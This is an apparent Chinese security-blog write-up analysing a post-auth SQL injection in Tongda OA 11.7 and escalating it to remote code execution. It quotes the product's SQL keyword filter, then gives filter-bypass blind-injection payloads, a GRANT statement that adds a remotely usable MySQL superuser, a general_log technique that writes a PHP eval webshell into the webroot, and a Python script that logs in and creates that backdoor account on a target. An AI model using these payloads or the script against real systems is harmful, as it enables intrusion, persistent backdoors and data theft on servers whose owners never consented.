通达OA11.7 后台sql注入到rce漏洞分析

 

前言

hvv期间爆了一个通达OA的漏洞,尝试分析一些这个漏洞的原因以及利用的姿势。

攻击队的大佬tql,0day一个接一个的爆。

膜师傅们~~~~

 

测试环境

  • 通达OA11.7
  • 通达oa代码解密工具 下载链接
    官网上下载的通达OA11.7的安装包,然后傻瓜式一键安装。

 

漏洞分析:

漏洞点在:general/hr/manage/query/delete_cascade.php文件下:

通过代码发现这里对传递的参数没有任何的过滤,是存在sql注入的。

这里是删除的功能,是一个盲注,所以尝试if(1,sleep(3),2):

发现存在过滤:sleep

在代码中查找过滤的地方,最终在/inc/conn.php找到了过滤的代码:

    if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
        $fail = true;
        $error = _("注释代码");
    }
    else if (preg_match("/(^|[^a-z])union(\s+[a-z]*)*\s+select($|[^[a-z])/s", $clean) != 0) {
        $fail = true;
        $error = _("联合查询");
    }
    else if (preg_match("/(^|[^a-z])(sleep|benchmark|load_file|mid|ord|ascii|extractvalue|updatexml|exp|current_user)\s*\(/s", $clean, $matches) != 0) {
        $fail = true;
        $error = $matches[2];
    }
    else if (preg_match("/(^|[^a-z])into\s+outfile($|[^[a-z])/s", $clean) != 0) {
        $fail = true;
        $error = _("生成文件");
    }
    else if (preg_match("/.*update.+user.+set.+file_priv.*/s", $clean) != 0) {
        $fail = true;
        $error = "set file_priv";
    }
    else if (preg_match("/.*case.+when.+then.+end.*/s", $clean) != 0) {
        $fail = true;
        $error = "case when";
    }
    else if (preg_match("/.*set.+general_log.*/s", $clean) != 0) {
        $fail = true;
        $error = "general_log";
    }

    if ($fail) {
        echo _("不安全的SQL语句:") . $error . "<br />";
        echo td_htmlspecialchars($db_string);
        exit();
    }

这里发现过滤了一些关键字但是还是可以注入的 过滤了sleep()函数,我们可以通过if配合一些可以报错的函数一起使用,比如:cot(0)、power(9999,9999)、

payload:?condition_cascade=select if(0,cot(0),2)

?condition_cascade=select if(1,cot(0),2)

这样不同结果页面返回的内容不同,这样就可以进行注入了。

到这里。我们可以注入数据库里面的内容了,将if(bool,1,cot(0))

这里bool可以替换为查询数据的语句:substr(database(),1,1)='a'就可以查询到数据了。

 

getshell

能够查询数据之后如何getshell呢?通过/inc/conn.php代码可以看到,过滤了大多情况的getshell的方法,

我也尝试了一些方法,都已失败而告终。在网上看到了一个比较新颖的思路参考链接,因为通达OA,mysql用户是root用户,权限比较大,可以添加一个新的用户,让这个新的用户可以任意地址登陆。grant all privileges ON mysql.* TO 'abc123'@'%' IDENTIFIED BY 'abc123@abc123' WITH GRANT OPTION
然后远程连接数据库。

然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:

UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('abc123' AS Binary(6));

然后访问http://xx.xx.xx.xx/general/hr/manage/query/delete_cascade.php?condition_cascade=flush%20privileges

再访问http://xx.xx.xx.xx/general/hr/manage/query/delete_cascade.php?condition_cascade=grant%20all%20privileges%20ON%20mysql.*%20TO%20%27abc123%27@%27%%27%20IDENTIFIED%20BY%20%27abc123@abc%27%20WITH%20GRANT%20OPTION

就可以远程连接mysql数据库了:
通过数据库写webshell方法有很多:
select @@basedir可以查询绝对路径:C:\TDOA11.7\mysql5\
那通达OA的web目录就是C:/TDOA11.7/webroot

select @@basedir


set global general_log='on';
SET global general_log_file='c:/TDOA11.7/webroot/aaa.php';
SELECT '<?php @eval($_POST["cmd"]);?>';

其他方式getshell,也是可以。。

蚁剑进行连接:

就可以getshell了。

 

POC

自己写了一个检测的poc,

import re
import requests
import argparse
import json
import base64



s = requests.session()

def login(url,username,password):
    url_login = url +"/logincheck.php"
    # UNAME=lijia&PASSWORD=&encode_type=1
    passwd =base64.b64encode(password.encode())
    data={
        'UNAME':username,
        'PASSWORD':passwd,
        'encode_type':1
    }
    # print(data)
    # exit()
    res = s.post(url=url_login,data=data,verify=False)
    set_cookie = res.headers['Set-Cookie']
    if "正在进入OA系统" in res.text:
        print("[+]login success!!")
    else:
        print("[-]login error!!")
        exit();
    # print(cookie[0])

def getshell(url,username,password):
    login(url,username,password)
    shell_url = url +"/general/hr/manage/query/delete_cascade.php"
    add_mysqluser = "?condition_cascade=grant all privileges ON mysql.* TO 'abc123'@'%' IDENTIFIED BY 'abc123@abc123' WITH GRANT OPTION"
    add_mysqluser_url = shell_url+add_mysqluser
    res = s.get(add_mysqluser_url)
    # print(res.text)
    if '信息删除成功!' in res.text:
        print("[+]Get sql")
        print("[+]You can connect mysql abc123:abc123@abc123")
        print("[+]Goodlucky!")
    else:
        print("[-]erroe!")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-username",
        "--targeusername",
        type=str,
        help="Target TongDa OA username. e.g: -username admin")
    parser.add_argument(
        "-password",
        "--targepassword",
        type=str,
        help="Target TongDa OA username. e.g: -password 123456")
    parser.add_argument(
        "-url",
        "--targeturl",
        type=str,
        help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
    )
    args = parser.parse_args()
    url = args.targeturl
    if 'http://' not in url:
        url = 'http://' + url
    else:
        url=url
    username= args.targeusername
    password=args.targepassword
    getshell(url,username,password)

利用方式:
python3 tdoa11.7.py -url 漏洞url -username 用户名 -password 用户密码

 

总结

这个OA的漏洞可以通过非管理员的账号进行sql注入到getshell。正所谓只要我知道的用户名够多,就一定存在弱口令。

就可以有弱口令->sql注入->getshell的组合拳可以利用。

这次通达OA的漏洞比较简单,自己尝试写了POC,虽然写代码的能力很差,但是多多少少还是有所收获的。

 

参考连接

https://www.77169.net/html/267833.html

(完)